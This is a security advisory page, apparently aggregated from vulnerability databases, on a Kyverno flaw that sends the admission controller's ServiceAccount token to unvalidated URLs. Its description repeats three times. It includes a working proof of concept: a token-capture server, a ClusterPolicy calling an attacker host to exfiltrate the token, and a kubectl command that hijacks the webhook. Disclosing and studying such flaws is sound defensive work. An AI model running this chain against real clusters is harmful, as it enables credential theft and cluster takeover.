Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.
Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.
Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.
## Summary
Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.
## Affected version
Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.
## Details
There are two issues that combine into one attack chain.
The first is in `pkg/engine/apicall/executor.go` around line 138. The service URL from the policy spec goes straight into `http.NewRequestWithContext()`:
```go
req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)
```
No scheme check, no IP restriction, no allowlist. The policy validation webhook (`pkg/validation/policy/validate.go`) only looks at JMESPath syntax.
The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:
```go
if req.Header.Get("Authorization") == "" {
token := a.getToken()
req.Header.Add("Authorization", "Bearer "+token)
}
```
The token is the admission controller's long-lived SA token from `/var/run/secrets/kubernetes.io/serviceaccount/token`. With the default Helm install, this SA (`kyverno-admission-controller`) can read and PATCH both `MutatingWebhookConfiguration` and `ValidatingWebhookConfiguration`.
## Reproduction
**Environment**: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install
**Step 1**: Start an HTTP listener on an attacker machine:
```python
# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(json.dumps({
"timestamp": str(datetime.datetime.now()),
"path": self.path,
"headers": dict(self.headers)
}, indent=2))
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
self.wfile.write(b'{"ok": true}')
HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()
```
**Step 2**: Create a ClusterPolicy that calls the attacker server:
```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: ssrf-poc
spec:
validationFailureAction: Audit
background: false
rules:
- name: exfil
match:
any:
- resources:
kinds:
- Pod
context:
- name: exfil
apiCall:
service:
url: "http://ATTACKER-IP:9999/steal"
method: GET
jmesPath: "@"
validate:
message: "check"
deny:
conditions:
any:
- key: "{{ exfil }}"
operator: Equals
value: "NEVER_MATCHES"
```
**Step 3**: Create any pod to trigger policy evaluation:
```bash
kubectl run test --image=nginx
```
**Step 4**: The listener receives the SA token immediately:
```
Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
```
Decoded JWT `sub` claim: `system:serviceaccount:kyverno:kyverno-admission-controller`
Every subsequent pod creation sends the token again. No race condition, no timing — it fires every time.
**Step 5**: Use the token to hijack webhooks:
```bash
# Verify permissions
kubectl auth can-i patch mutatingwebhookconfigurations \
--as=system:serviceaccount:kyverno:kyverno-admission-controller
# yes
# Patch the webhook to redirect to attacker
kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \
--type='json' \
-p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \
--token="eyJhbG..."
```
After this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec — inject containers, mount host paths, add privileged security contexts.
## Verified permissions of stolen token
Tested with the default Helm installation:
| Action | Result |
|--------|--------|
| List pods (all namespaces) | Allowed |
| Read configmaps in kube-system | Allowed |
| PATCH MutatingWebhookConfiguration | **Allowed** |
| PATCH ValidatingWebhookConfiguration | **Allowed** |
| Read secrets (cluster-wide) | Denied (per-NS only) |
## Impact
An attacker who can create ClusterPolicy resources (or who compromises a service account with that permission) can steal Kyverno's admission controller token and use it to:
1. Hijack Kyverno's own mutating/validating webhooks
2. Intercept and modify every API request flowing through the cluster
3. Inject malicious containers, escalate privileges, exfiltrate secrets
The token is also sent to internal endpoints — `http://169.254.169.254/latest/meta-data/` works, so on cloud-hosted clusters (EKS, GKE, AKS) this also leaks cloud IAM credentials.
RBAC note: ClusterPolicy is a cluster-scoped resource, so creating one requires cluster-level RBAC. But in practice, platform teams often grant policy-write to team leads or automation pipelines. The auto-injection of the SA token is the unexpected part — nobody expects writing a policy to leak the controller's credentials.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Apr 24, 2026, 3:21:36 AM
dateUpdated: Apr 24, 2026, 12:05:00 PM
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Analyzed
Weakness classifications: CWE-200 · CWE-918
Original publisher date fields
published: 2026-04-24T04:16:20.593
lastModified: 2026-11-11T23:10:00.263
2 source CPE criteria · context only
cpe:2.3:a:kyverno:kyverno:*:-:*:*:*:*:*:*
cpe:2.3:a:kyverno:kyverno:*:*:*:*:*:*:*:*
The original JSON retains the logical configuration operators, exclusions and version bounds.
No normalized affected-package data is projected for this source revision. The original publisher record may contain additional product and version evidence; this does not establish that a package is unaffected.